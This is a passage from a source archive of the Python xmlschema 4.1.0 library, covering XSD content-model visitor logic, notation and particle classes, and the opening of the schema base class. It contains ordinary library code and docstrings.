Iterator[ModelParticleType]: """Returns an iterator for the current model group.""" if self.group.model == 'all': for e in self.group.iter_elements(): if not e.is_over(self.occurs): yield e elif self.group.max_occurs == 0: return else: yield from self.group.content def match_element(self, tag: str) -> Optional[SchemaElementType]: if self.element is None: raise XMLSchemaValueError(f"can't match the tag, {self!r} is ended!") elif self.element.max_occurs == 0: return None elif self.element.name is None: return self.element.match(tag, group=self.root, occurs=self.occurs) elif tag == self.element.name: return self.element else: for xsd_element in self.element.iter_substitutes(): if tag == xsd_element.name: return xsd_element else: return None def advance(self, match: bool = False) -> Iterator[AdvanceYieldedType]: """ Generator function for advance to the next element. Yields tuples with particles information when occurrence violation is found. :param match: provides current element match. """ item: ModelParticleType item_occurs: int def stop_item() -> bool: """ Stops element or group matching, incrementing current group counter. :return: `True` if the item has violated the minimum occurrences for itself \ or for the current group, `False` otherwise. """ nonlocal item nonlocal item_occurs item_occurs = occurs[item] if isinstance(item, groups.XsdGroup): self.group, self.items, self.match = self._groups.pop() if self.group.model == 'choice': if not item_occurs: return False high_occurs = occurs[item.oid] or item_occurs min_occurs = item.min_occurs max_occurs = item.max_occurs if max_occurs is None: occurs[self.group] += 1 elif item_occurs % max_occurs: occurs[self.group] += 1 + item_occurs // max_occurs else: occurs[self.group] += item_occurs // max_occurs occurs[self.group.oid] += (high_occurs // (min_occurs or 1)) or 1 occurs[item] = occurs[item.oid] = 0 self.items = self.iter_group() self.match = False return min_occurs > high_occurs elif self.group.model == 'all': return False # 'all' models can only be checked at the end elif self.match: pass elif item_occurs: self.match = True elif item.is_emptiable(): return False elif self._groups: item = self.group return stop_item() elif self.group.is_missing(occurs): return True else: item = self.group return stop_item() if item is self.group.content[-1]: for k, item2 in enumerate(self.group.content, start=1): # pragma: no cover low_occurs = occurs[item2] if not low_occurs: continue high_occurs = occurs[item2.oid] or low_occurs if high_occurs == 1 or \ any(not x.is_emptiable() for x in self.group.content[k:]): occurs[self.group] += 1 occurs[self.group.oid] += 1 break occurs[self.group] += (low_occurs // (item2.max_occurs or low_occurs)) or 1 occurs[self.group.oid] += (high_occurs // (item2.min_occurs or 1)) or 1 break return item.is_missing(occurs) def model_error_tuple() -> AdvanceYieldedType: if occurs[item]: expected = item.get_expected(occurs) else: occurs[item] = item_occurs expected = item.get_expected(occurs) occurs[item] = 0 return item, item_occurs, expected if self.element is None: raise XMLSchemaValueError(f"can't advance, {self!r} is ended!") item = self.element occurs = self.occurs item_occurs = occurs[item] if match: occurs[item] += 1 self.match = True if self.group.model == 'all': self.items = self.iter_group() elif not item.is_over(occurs) or \ self.group.model == 'choice' and item.is_ambiguous(): return try: if stop_item(): yield model_error_tuple() while True: while self.group.is_over(occurs): item = self.group stop_item() for obj in self.items: if isinstance(obj, groups.XsdGroup): # inner 'sequence' or 'choice' XsdGroup self._groups.append((self.group, self.items, self.match)) self.group = obj self.items = self.iter_group() self.match = False occurs[obj] = occurs[obj.oid] = 0 break else: # XsdElement or XsdAnyElement self.element = obj if self.group.model == 'sequence': occurs[obj] = 0 return else: if self.match: self.items, self.match = self.iter_group(), False elif self.group.model == 'all': self.group, self.items, self.match = self._groups.pop() else: item = self.group if stop_item(): yield model_error_tuple() except IndexError: # Model visit ended self.element = None if self.group.model == 'all': yield from self._iter_all_model_errors(occurs) elif self.group.is_missing(occurs) or self.group.is_exceeded(occurs): yield self.group, occurs[self.group], self.expected def _iter_all_model_errors(self, occurs: OccursCounterType) -> Iterator[AdvanceYieldedType]: """Validate occurrences in an 'all' model, yielding error tuples.""" stack: list[tuple[groups.XsdGroup, Iterator[ModelParticleType]]] = [] group = self.group if self.group.ref is None else self.group.ref particles = iter(group) zero_missing: list[tuple[groups.XsdGroup, ModelParticleType]] = [] while True: for item in particles: if occurs[item]: occurs[group] = 1 if isinstance(item, groups.XsdGroup): if item.max_occurs == 0: continue stack.append((group, particles)) group = item particles = iter(item.content) if len(stack) > limits.MAX_MODEL_DEPTH: raise XMLSchemaModelDepthError(self.group) break if item.is_missing(occurs) or item.is_exceeded(occurs): if occurs[item]: yield item, occurs[item], item.get_expected(occurs) else: zero_missing.append((group, item)) else: if group.is_missing(occurs) or group.is_exceeded(occurs): if occurs[group] or not stack: yield group, occurs[group], group.get_expected(occurs) else: zero_missing.append((stack[-1][0], group)) if not stack: break group, particles = stack.pop() # Late check on missing items that never occurs for group, item in zero_missing: if occurs[group]: yield item, occurs[item], item.get_expected(occurs) # Kept for backward compatibility def iter_unordered_content( self, content: EncodedContentType, default_namespace: Optional[str] = None) -> Iterator[ContentItemType]: msg = f"{self.__class__.__name__}.iter_unordered_content() method will " \ "be removed in v4.0, use iter_unordered_content() function instead." if default_namespace is not None: msg += " Don't provide default_namespace argument, it's ignored." warnings.warn(msg, DeprecationWarning, stacklevel=2) return iter_unordered_content(content, self.root) def iter_collapsed_content( self, content: Iterable[ContentItemType], default_namespace: Optional[str] = None) -> Iterator[ContentItemType]: msg = f"{self.__class__.__name__}.iter_collapsed_content() method will " \ "be removed in v4.0, use iter_collapsed_content() function instead." if default_namespace is not None: msg += " Don't provide default_namespace argument, it's ignored." warnings.warn(msg, DeprecationWarning, stacklevel=2) return iter_collapsed_content(content, self.root) ### # Additional properties and methods, not used by validation. These methods can # be used ad helpers for a content model builder. def __copy__(self) -> 'ModelVisitor': model: 'ModelVisitor' = object.__new__(self.__class__) model.root = self.root model.element = self.element model.group = self.group model.match = self.match model.occurs = self.occurs.copy() # Can't copy iterators so create new ones and iter them at the same item model._groups = [] group = self.group for parent, _items, match in reversed(self._groups): items = iter(parent if parent.ref is None else parent.ref) for obj in items: if obj is group: model._groups.append((parent, items, match)) group = parent break model._groups.reverse() model.items = model.iter_group() for obj in model.items: if obj is model.element: break return model @property def stoppable(self) -> bool: """Returns `True` if the model is stoppable from the current status without errors.""" if self.element is None: return True model = copy(self) for _error in model.stop(): return False else: return True def get_model_particle(self, particle: Optional[ModelParticleType] = None) \ -> ModelParticleType: """ Checks if the provided particle belongs to the current model, raising a `XMLSchemaModelError` in case if it's not. Defaults to current element if no particle is provided, raising a `XMLSchemaValueError` if the model is ended. """ if particle is not None: for _subgroups in self.root.iter_subgroups(particle): break return particle elif self.element is not None: return self.element else: raise XMLSchemaValueError(f"can't defaults to current element, {self!r} is ended!") def overall_min_occurs(self, particle: Optional[ModelParticleType] = None) -> int: """ Returns the overall min occurs of a particle in the model subtracting the occurrences already registered by the occurs counter. Defaults to current element. """ result = [] particle = self.get_model_particle(particle) for subgroups in self.root.iter_subgroups(particle): min_occurs = 1 for group in subgroups: group_min_occurs = group.min_occurs - self.occurs[group] if group_min_occurs <= 0 or group.model == 'choice' and len(group) > 1: result.append(0) break min_occurs *= group_min_occurs else: result.append(min_occurs * particle.min_occurs - self.occurs[particle]) return max(0, min(result)) def overall_max_occurs(self, particle: Optional[ModelParticleType] = None) -> Optional[int]: """ Returns the overall max occurs of a particle in the model subtracting the occurrences already registered by the occurs counter. Defaults to current element. """ results = [0] particle = self.get_model_particle(particle) max_occurs: Optional[int] for subgroups in self.root.iter_subgroups(particle): max_occurs = 1 for group in subgroups: group_max_occurs = group.max_occurs if group_max_occurs == 0: results.append(0) break elif max_occurs is None: continue elif group_max_occurs is None: max_occurs = None else: group_max_occurs -= self.occurs[group] if group_max_occurs <= 0: results.append(0) break max_occurs *= group_max_occurs else: if particle.max_occurs == 0: results.append(0) elif particle.max_occurs is None or max_occurs is None: return None else: results.append(max_occurs * particle.max_occurs - self.occurs[particle]) return max(results) def is_optional(self, particle: Optional[ModelParticleType] = None) -> bool: """ Tests if the particle can be omitted in the current model status. Defaults to current element. """ particle = self.get_model_particle(particle) return self.overall_min_occurs(particle) == 0 def is_missing(self, particle: Optional[ModelParticleType] = None) -> bool: """ Tests if particle occurrences are under the minimum. If the argument is `None` then tests the current element. """ return self.get_model_particle(particle).is_missing(self.occurs) def is_over(self, particle: Optional[ModelParticleType] = None) -> bool: """ Tests if particle occurrences are equal or over the maximum. If the argument is `None` then tests the current element. """ return self.get_model_particle(particle).is_over(self.occurs) def is_exceeded(self, particle: Optional[ModelParticleType] = None) -> bool: """ Tests if particle occurrences are over the maximum. If the argument is `None` then tests the current element. """ return self.get_model_particle(particle).is_exceeded(self.occurs) def advance_to(self, element: SchemaElementType) -> Iterator[AdvanceYieldedType]: """ Advances to the XSD element of the model. Stops after an error in advancing. If the elements hasn't residual occurs or if the model ends before the XSD element is reached throws an `XMLSchemaValueError`. """ if self.overall_max_occurs(element) == 0: raise XMLSchemaValueError(f"{self!r} hasn't residual occurs") _err: Optional[AdvanceYieldedType] = None while True: if _err is not None: return elif self.element is None: raise XMLSchemaValueError(f"can't advance, {self!r} is ended!") elif self.element is element: return else: for _err in self.advance(False): yield _err def advance_until(self, target: Union[str, SchemaElementType], occurs: int = 1) -> Iterator[AdvanceYieldedType]: """ Advances until an element matching `target` is found. Stops after an error in advancing. If the model ends before the tag is found, it throws an `XMLSchemaValueError`. :param target: can be a tag or an XSD element/wildcard of the model. :param occurs: number of occurrences to consume for target element, \ for default consumes one occurrence. The consumed occurrences can be \ non-consecutive. """ _err: Optional[AdvanceYieldedType] = None while True: if _err is not None: return elif self.element is None: raise XMLSchemaValueError(f"can't advance, {self!r} is ended!") elif isinstance(target, str): while self.match_element(target): if occurs >= 1: yield from self.advance(True) occurs -= 1 if occurs <= 0: return else: for _err in self.advance(False): yield _err else: while target is self.element: if occurs >= 1: yield from self.advance(True) occurs -= 1 if occurs <= 0: return else: for _err in self.advance(False): yield _err def check_following(self, *steps: StepType) -> bool: """ Returns `True` if the model can be advanced without errors applying the provided sequence of steps. :param steps: sequence of steps to apply, each step can be an XSD element \ of the model or a tag, or the same info coupled with a non-negative integer \ that represents the occurs to be applied on the element (1 for default). """ if not steps: raise XMLSchemaTypeError("at least one step must be provided") model = copy(self) for step in steps: target, occurs = step if isinstance(step, tuple) else (step, 1) try: for _err in model.advance_until(target, occurs): return False except XMLSchemaValueError: return False else: return True def advance_safe(self, *steps: str) -> bool: """ Advance the model with the provided sequence of steps if the advance doesn't produce errors or the ending of the model. Returns `True` if the advance has been done, `False` otherwise. """ if not self.check_following(*steps): return False for step in steps: target, occurs = step if isinstance(step, tuple) else (step, 1) for _err in self.advance_until(target, occurs): raise XMLSchemaRuntimeError("Unexpected advance error") else: return True class InterleavedModelVisitor(ModelVisitor): """ A visitor for openContent interleaved models. Memorizes an internal state for deciding when to advance the model. The model doesn't advance if the last match_element() call is with the wildcard. """ __slots__ = 'wildcard', '_advance_model' def __init__(self, root: ModelGroupType, wildcard: XsdAnyElement) -> None: super().__init__(root) self.wildcard = wildcard self._advance_model = True if self.element is None: self.element = wildcard def clear(self) -> None: super().clear() self._advance_model = True if self.element is None: self.element = self.wildcard def match_element(self, tag: str) -> Optional[SchemaElementType]: xsd_element = super().match_element(tag) if xsd_element is not None or self.element is self.wildcard: return xsd_element elif not self.wildcard.is_matching(tag, group=self.root, occurs=self.occurs): return None for xsd_element in self.group.iter_elements(): if xsd_element.is_matching(tag, group=self.root, occurs=self.occurs): if not xsd_element.is_over(self.occurs): return None else: if self.wildcard.process_contents != 'strict' or tag in self.root.maps.elements: self._advance_model = False return self.wildcard return None def advance(self, match: bool = False) -> Iterator[AdvanceYieldedType]: if self.element is None: yield from super().advance(match) elif self.element is self.wildcard: if not match: self.element = None elif not self._advance_model: self._advance_model = True else: yield from super().advance(match) if self.element is None: self.element = self.wildcard class SuffixedModelVisitor(ModelVisitor): """A visitor for openContent suffixed models.""" __slots__ = 'wildcard', def __init__(self, root: ModelGroupType, wildcard: XsdAnyElement) -> None: super().__init__(root) self.wildcard = wildcard if self.element is None: self.element = wildcard def clear(self) -> None: super().clear() if self.element is None: self.element = self.wildcard def advance(self, match: bool = False) -> Iterator[AdvanceYieldedType]: if self.element is None: yield from super().advance(match) elif self.element is not self.wildcard: yield from super().advance(match) if self.element is None: self.element = self.wildcard elif not match: self.element = None # # Functions for manipulating encoded content def iter_unordered_content(content: EncodedContentType, group: ModelGroupType) \ -> Iterator[ContentItemType]: """ Takes an unordered content stored in a dictionary of lists and yields the content elements sorted with the ordering defined by the model group. Character data parts are yielded at start and between child elements. Ordering is inferred from ModelVisitor instance with any elements that don't fit the schema placed at the end of the returned sequence. Checking the yielded content validity is the responsibility of method *iter_encode* of class :class:`XsdGroup`. :param content: a dictionary of element names to list of element contents \ or an iterable composed of couples of name and value. In case of a \ dictionary the values must be lists where each item is the content \ of a single element. :param group: the model group related to content. """ consumable_content: dict[str, Any] if isinstance(content, MutableMapping): cdata_content = sorted( ((k, v) for k, v in content.items() if isinstance(k, int)), reverse=True ) consumable_content = { k: deque(v) if isinstance(v, MutableSequence) else deque([v]) for k, v in content.items() if not isinstance(k, int) } else: cdata_content = sorted(((k, v) for k, v in content if isinstance(k, int)), reverse=True) consumable_content = defaultdict(deque) for k, v in content: if isinstance(k, str): consumable_content[k].append(v) if cdata_content: yield cdata_content.pop() model = ModelVisitor(group) while model.element is not None and consumable_content: # pragma: no cover for name in consumable_content: if model.element.is_matching(name, group=group): yield name, consumable_content[name].popleft() if not consumable_content[name]: del consumable_content[name] for _err in model.advance(True): pass if cdata_content: yield cdata_content.pop() break else: # Consume the return of advance otherwise we get stuck in an infinite loop. for _err in model.advance(False): pass # Add the remaining consumable content onto the end of the data. for name, values in consumable_content.items(): for v in values: yield name, v if cdata_content: yield cdata_content.pop() while cdata_content: yield cdata_content.pop() def sort_content(content: EncodedContentType, group: ModelGroupType) \ -> list[ContentItemType]: return [x for x in iter_unordered_content(content, group)] def iter_collapsed_content(content: Iterable[ContentItemType], group: ModelGroupType) \ -> Iterator[ContentItemType]: """ Iterates a content stored in a sequence of couples *(name, value)*, yielding items in the same order of the sequence, except for repetitions of the same tag that don't match with the current element of the :class:`ModelVisitor` instance. These items are included in an unsorted buffer and yielded asap when there is a match with the model's element or at the end of the iteration. This iteration mode, in cooperation with the method *iter_encode* of the class XsdGroup, facilitates the encoding of content formatted with a convention that collapses the children with the same tag into a list (e.g. BadgerFish). :param content: an iterable containing couples of names and values. :param group: the model group related to content. """ prev_name = None unordered_content: dict[str, Any] = defaultdict(deque) model = ModelVisitor(group) for name, value in content: if isinstance(name, int) or model.element is None: yield name, value continue while model.element is not None: if model.element.is_matching(name, group=group): yield name, value prev_name = name for _err in model.advance(True): pass break for key in unordered_content: if model.element.is_matching(key, group=group): break else: if prev_name == name: unordered_content[name].append(value) break for _err in model.advance(False): pass continue try: yield key, unordered_content[key].popleft() except IndexError: del unordered_content[key] else: for _err in model.advance(True): pass else: yield name, value prev_name = name # Yields the remaining consumable content after the end of the data. for name, values in unordered_content.items(): for v in values: yield name, v ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/notations.py���������������������������������������������������0000664�0000000�0000000�00000003050�15020401055�0022204�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from typing import Optional from xmlschema.names import XSD_NOTATION from xmlschema.translation import gettext as _ from xmlschema.utils.qnames import get_qname from .xsdbase import XsdComponent class XsdNotation(XsdComponent): """ Class for XSD *notation* declarations. .. <notation id = ID name = NCName public = token system = anyURI {any attributes with non-schema namespace}...> Content: (annotation?) </notation> """ _ADMITTED_TAGS = XSD_NOTATION, def _parse(self) -> None: if self.parent is not None: self.parse_error(_("a notation declaration must be global")) try: self.name = get_qname(self.target_namespace, self.elem.attrib['name']) except KeyError: self.parse_error(_("a notation must have a 'name' attribute")) if 'public' not in self.elem.attrib and 'system' not in self.elem.attrib: self.parse_error(_("a notation must have a 'public' or a 'system' attribute")) @property def public(self) -> Optional[str]: return self.elem.get('public') @property def system(self) -> Optional[str]: return self.elem.get('system') ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/particles.py���������������������������������������������������0000664�0000000�0000000�00000020473�15020401055�0022164�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021 , SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from typing import cast, Any, Optional, Union from xmlschema.exceptions import XMLSchemaValueError from xmlschema.aliases import ElementType, ModelGroupType, ModelParticleType, \ OccursCounterType, SchemaElementType from xmlschema.translation import gettext as _ class ParticleMixin: """ Mixin for objects related to XSD Particle Schema Components: https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/structures.html#p https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/structures.html#t :ivar min_occurs: the minOccurs property of the XSD particle. Defaults to 1. :ivar max_occurs: the maxOccurs property of the XSD particle. Defaults to 1, \ a `None` value means 'unbounded'. :cvar oid: an optional secondary unique identifier for tracking occurs. Is \ set to a unique tuple for XsdGroup instances for tracking higher occurrence \ in choice and choice-compatible models. :cvar skip: a flag that is set to `True` for wildcards that have processContents='skip'. """ name: Any maps: Any min_occurs: int = 1 """The minOccurs property of the XSD particle. Defaults to 1.""" max_occurs: Optional[int] = 1 """ The maxOccurs property of the XSD particle. Defaults to 1, a `None` value means 'unbounded'. """ oid: Optional[tuple[ModelGroupType]] = None skip: bool = False def __init__(self, min_occurs: int = 1, max_occurs: Optional[int] = 1) -> None: self.min_occurs = min_occurs self.max_occurs = max_occurs @property def occurs(self) -> tuple[int, Optional[int]]: return self.min_occurs, self.max_occurs @property def effective_min_occurs(self) -> int: """ A property calculated from minOccurs, that is equal to minOccurs for elements and may vary for content model groups, depending on the model and the structure of the group. Used for checking restrictions of model groups in XSD 1.1. """ return self.min_occurs @property def effective_max_occurs(self) -> Optional[int]: """ A property calculated from maxOccurs, that is equal to maxOccurs for elements and may vary for content model groups, depending on the model and the structure of the group. Used for checking restrictions of model groups in XSD 1.1. """ return self.max_occurs def is_emptiable(self) -> bool: """ Tests if min_occurs == 0. A model group that can have zero-length is considered emptiable. For model groups the test outcome depends also on nested particles. """ return self.min_occurs == 0 def is_empty(self) -> bool: """ Tests if max_occurs == 0. A zero-length model group is considered empty. """ return self.max_occurs == 0 def is_single(self) -> bool: """ Tests if the particle has max_occurs == 1. For elements the test outcome depends also on parent group. For model groups the test outcome depends also on nested model groups. """ return self.max_occurs == 1 def is_multiple(self) -> bool: """Tests the particle can have multiple occurrences.""" return not self.is_empty() and not self.is_single() def is_ambiguous(self) -> bool: """Tests if min_occurs != max_occurs.""" return self.min_occurs != self.max_occurs def is_univocal(self) -> bool: """Tests if min_occurs == max_occurs.""" return self.min_occurs == self.max_occurs def is_missing(self, occurs: OccursCounterType) -> bool: """Tests if the particle occurrences are under the minimum.""" return self.min_occurs > occurs[self] def is_over(self, occurs: OccursCounterType) -> bool: """Tests if particle occurrences are equal or over the maximum.""" if self.max_occurs is None: return False return self.max_occurs <= occurs[self] def is_exceeded(self, occurs: OccursCounterType) -> bool: """Tests if particle occurrences are over the maximum.""" if self.max_occurs is None: return False return self.max_occurs < occurs[self] def get_expected(self, occurs: OccursCounterType) -> list[SchemaElementType]: return [cast(SchemaElementType, self)] if self.min_occurs > occurs[self] else [] def has_occurs_restriction(self, other: Union[ModelParticleType, 'OccursCalculator']) -> bool: if self.min_occurs < other.min_occurs: return False elif self.max_occurs == 0: return True elif other.max_occurs is None: return True elif self.max_occurs is None: return False else: return self.max_occurs <= other.max_occurs def parse_error(self, message: Any) -> None: raise XMLSchemaValueError(message) def _parse_particle(self, elem: ElementType) -> None: if 'minOccurs' in elem.attrib: try: min_occurs = int(elem.attrib['minOccurs']) except (TypeError, ValueError): msg = _("minOccurs value is not an integer value") self.parse_error(msg) else: if min_occurs < 0: msg = _("minOccurs value must be a non negative integer") self.parse_error(msg) else: self.min_occurs = min_occurs max_occurs = elem.get('maxOccurs') if max_occurs is None: if self.min_occurs > 1: msg = _("minOccurs must be lesser or equal than maxOccurs") self.parse_error(msg) elif max_occurs == 'unbounded': self.max_occurs = None else: try: self.max_occurs = int(max_occurs) except ValueError: msg = _("maxOccurs value must be a non negative integer or 'unbounded'") self.parse_error(msg) else: if self.min_occurs > self.max_occurs: msg = _("maxOccurs must be 'unbounded' or greater than minOccurs") self.parse_error(msg) self.max_occurs = None def is_substitute(self, other: ModelParticleType) -> bool: return False class OccursCalculator: """ A helper class for adding and multiplying min/max occurrences of XSD particles. """ min_occurs: int max_occurs: Optional[int] __slots__ = ('min_occurs', 'max_occurs') @property def occurs(self) -> tuple[int, Optional[int]]: return self.min_occurs, self.max_occurs def __init__(self) -> None: self.min_occurs = self.max_occurs = 0 def __repr__(self) -> str: return '%s(%r, %r)' % (self.__class__.__name__, self.min_occurs, self.max_occurs) def __add__(self, other: Union[ParticleMixin, 'OccursCalculator']) -> 'OccursCalculator': self.min_occurs += other.min_occurs if self.max_occurs is not None: if other.max_occurs is None: self.max_occurs = None else: self.max_occurs += other.max_occurs return self def __mul__(self, other: Union[ParticleMixin, 'OccursCalculator']) -> 'OccursCalculator': self.min_occurs *= other.min_occurs if self.max_occurs is None: if other.max_occurs == 0: self.max_occurs = 0 elif other.max_occurs is None: if self.max_occurs != 0: self.max_occurs = None else: self.max_occurs *= other.max_occurs return self def __sub__(self, other: Union[ParticleMixin, 'OccursCalculator']) -> 'OccursCalculator': self.min_occurs = max(0, self.min_occurs - other.min_occurs) if self.max_occurs is not None: if other.max_occurs is None: self.max_occurs = 0 else: self.max_occurs = max(0, self.max_occurs - other.max_occurs) return self def reset(self) -> None: self.min_occurs = self.max_occurs = 0 �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/schemas.py�����������������������������������������������������0000664�0000000�0000000�00000260021�15020401055�0021614�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains XMLSchema classes creator for xmlschema package. Two schema classes are created at the end of this module, XMLSchema10 for XSD 1.0 and XMLSchema11 for XSD 1.1. The latter class parses also XSD 1.0 schemas, as prescribed by the standard. """ from abc import ABCMeta import os import logging import re import sys from collections.abc import Callable, Iterator from functools import cached_property from operator import attrgetter from pathlib import Path from typing import Any, cast, Optional, Union, Type from urllib.request import OpenerDirector from xml.etree.ElementTree import Element from elementpath import XPathToken, SchemaElementNode, build_schema_node_tree import xmlschema.names as nm from xmlschema.aliases import XMLSourceType, NsmapType, LocationsType, UriMapperType, \ SchemaType, SchemaSourceType, ComponentClassType, DecodeType, EncodeType, \ BaseXsdType, ExtraValidatorType, ValidationHookType, SchemaGlobalType, \ FillerType, DepthFillerType, ValueHookType, ElementHookType, ElementType, \ StagedItemType, IterParseType from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaKeyError, \ XMLSchemaRuntimeError, XMLSchemaValueError, XMLSchemaNamespaceError, \ XMLSchemaAttributeError from xmlschema.translation import gettext as _ from xmlschema.utils.decoding import Empty from xmlschema.utils.logger import set_logging_level from xmlschema.utils.etree import prune_etree, is_etree_element from xmlschema.utils.qnames import get_namespace_ext from xmlschema.utils.urls import is_local_url, normalize_url from xmlschema.resources import XMLResource from xmlschema.converters import XMLSchemaConverter, ConverterType, \ check_converter_argument, get_converter from xmlschema.xpath import XMLSchemaProxy, ElementPathMixin from xmlschema.namespaces import NamespaceView from xmlschema.locations import SCHEMAS_DIR from xmlschema.loaders import SCHEMA_DECLARATION_TAGS, SchemaLoader from xmlschema.exports import export_schema from xmlschema import dataobjects from .exceptions import XMLSchemaValidationError, XMLSchemaEncodeError, \ XMLSchemaStopValidation from .validation import check_validation_mode, DecodeContext, EncodeContext from .helpers import get_xsd_derivation_attribute, get_xsd_annotation_child, qname_validator from .xsdbase import XSD_ELEMENT_DERIVATIONS, XsdValidator, XsdComponent, XsdAnnotation from .notations import XsdNotation from .identities import XsdIdentity, XsdKeyref, KeyrefCounter from .facets import XSD_10_FACETS, XSD_11_FACETS from .simple_types import XsdSimpleType from .attributes import XsdAttribute, XsdAttributeGroup from .complex_types import XsdComplexType from .groups import XsdGroup from .elements import XsdElement from .wildcards import XsdAnyElement, XsdDefaultOpenContent from .builders import GLOBAL_TAGS, XsdBuilders from .xsd_globals import XsdGlobals logger = logging.getLogger('xmlschema') name_attribute = attrgetter('name') XSD_VERSION_PATTERN = re.compile(r'^\d+\.\d+$') # Registry for schema instances that are real meta-schema of a schema class _meta_registry = set() class XMLSchemaMeta(ABCMeta): XSD_VERSION: str BASE_SCHEMAS: dict[str, str] meta_schema: Optional[SchemaType] create_meta_schema: Callable[[SchemaType, Optional[str]], SchemaType] def __new__(mcs, name: str, bases: tuple[Type[Any]], dict_: dict[str, Any]) \ -> 'XMLSchemaMeta': assert bases, "a base class is mandatory" base_class = bases[0] meta_schema_file: Optional[str] if isinstance(dict_.get('META_SCHEMA'), str): meta_schema_file = dict_.get('META_SCHEMA') if not isinstance(meta_schema_file, str): raise XMLSchemaTypeError("META_SCHEMA must be a string defining the " "location of the XSD meta-schema file") elif isinstance(dict_.get('meta_schema'), str): meta_schema_file = dict_.pop('meta_schema') # For backward compatibility else: meta_schema_file = None if isinstance(meta_schema_file, str): try: base_schemas = dict_.get('BASE_SCHEMAS', {}) except KeyError as e: raise XMLSchemaAttributeError( f"{str(e)} attribute is mandatory for defining a schema class" ) else: if not isinstance(base_schemas, dict): raise XMLSchemaTypeError("BASE_SCHEMAS must be a dictionary") # Build the meta-schema class and register it into module's globals meta_schema_class_name = 'Meta' + name meta_schema: Optional[SchemaType] meta_schema = getattr(base_class, 'meta_schema', None) if meta_schema is None: meta_bases = bases else: # Use base's meta_schema class as base for the new meta-schema meta_bases = (meta_schema.__class__,) if len(bases) > 1: meta_bases += bases[1:] meta_schema_class = cast( SchemaType, super().__new__(mcs, meta_schema_class_name, meta_bases, dict_) ) meta_schema_class.__qualname__ = meta_schema_class_name module = sys.modules[dict_['__module__']] setattr(module, meta_schema_class_name, meta_schema_class) meta_schema = meta_schema_class.create_meta_schema(meta_schema_file, base_schemas) dict_['meta_schema'] = meta_schema _meta_registry.add(meta_schema) # Create the class and check some basic attributes cls = super().__new__(mcs, name, bases, dict_) if cls.XSD_VERSION not in ('1.0', '1.1'): raise XMLSchemaValueError(_("XSD_VERSION must be '1.0' or '1.1'")) return cls class XMLSchemaBase(XsdValidator, ElementPathMixin[Union[SchemaType, XsdElement]], metaclass=XMLSchemaMeta): """ Base class for an XML Schema instance. :param source: a URI that reference to a resource or a file path or a file-like \ object or a string containing the schema or an Element or an ElementTree document \ or an :class:`XMLResource` instance. A multi source initialization is supported \ providing a not empty list of XSD sources. :param namespace: is an optional argument that contains the URI of the namespace \ that has to used in case the schema has no namespace (chameleon schema). For other \ cases, when specified, it must be equal to the *targetNamespace* of the schema. :param validation: the XSD validation mode to use for build the schema, \ that can be 'strict' (default), 'lax' or 'skip'. :param global_maps: is an optional argument containing an :class:`XsdGlobals` \ instance, a mediator object for sharing declaration data between dependents \ schema instances. :param parent: optional :class:`XMLSchema` instance to use as parent if a new \ :class:`XsdGlobals` is created, ignored otherwise. :param loader_class: an optional subclass of :class:`SchemaLoader` to use for creating \ the loader instance. :param converter: is an optional argument that can be an :class:`XMLSchemaConverter` \ subclass or instance, used for defining the default XML data converter for XML Schema instance. :param locations: schema extra location hints, that can include custom resource locations \ (e.g. local XSD file instead of remote resource) or additional namespaces to import after \ processing schema's import statements. Can be a dictionary or a sequence of couples \ (namespace URI, resource URL). Extra locations passed using a tuple container are not \ normalized. :param base_url: is an optional base URL, used for the normalization of relative paths \ when the URL of the schema resource can't be obtained from the source argument. :param allow: the security mode for accessing resource locations. Can be \ 'all', 'remote', 'local' or 'sandbox'. Default is 'all' that means all types of \ URLs are allowed. With 'remote' only remote resource URLs are allowed. With 'local' \ only file paths and URLs are allowed. With 'sandbox' only file paths and URLs that \ are under the directory path identified by source or by the *base_url* argument \ are allowed. :param defuse: defines when to defuse XML data using a `SafeXMLParser`. Can be \ 'always', 'remote' or 'never'. For default defuses only remote XML data. :param timeout: the timeout in seconds for fetching resources. Default is `300`. :param uri_mapper: an optional URI mapper for using relocated or URN-addressed \ resources. Can be a dictionary or a function that takes the URI string and returns \ a URL, or the argument if there is no mapping for it. :param opener: an optional :class:`OpenerDirector` instance used for opening XML \ resources. For default uses the opener installed globally for *urlopen*. :param iterparse: an optional callable that returns an iterator parser instance \ used for building the XML trees. For default *ElementTree.iterparse* is used. :param use_fallback: if `True` the schema processor uses the validator fallback \ location hints to load well-known namespaces (e.g. xhtml). :param use_xpath3: if `True` an XSD 1.1 schema instance uses the XPath 3 processor \ for assertions. For default a full XPath 2.0 processor is used. :param use_meta: if `True` the schema processor uses the validator meta-schema as \ parent schema. Ignored if either *global_maps* or *parent* argument is provided. :param loglevel: for setting a different logging level for schema initialization \ and building. For default is WARNING (30). For INFO level set it with 20, for \ DEBUG level with 10. The default loglevel is restored after schema building, \ when exiting the initialization method. :param build: defines whether build the schema maps. Default is `True`. :param partial: if `True`, the schema is initialized without processing \ imports/inclusions and the build phase is skipped. 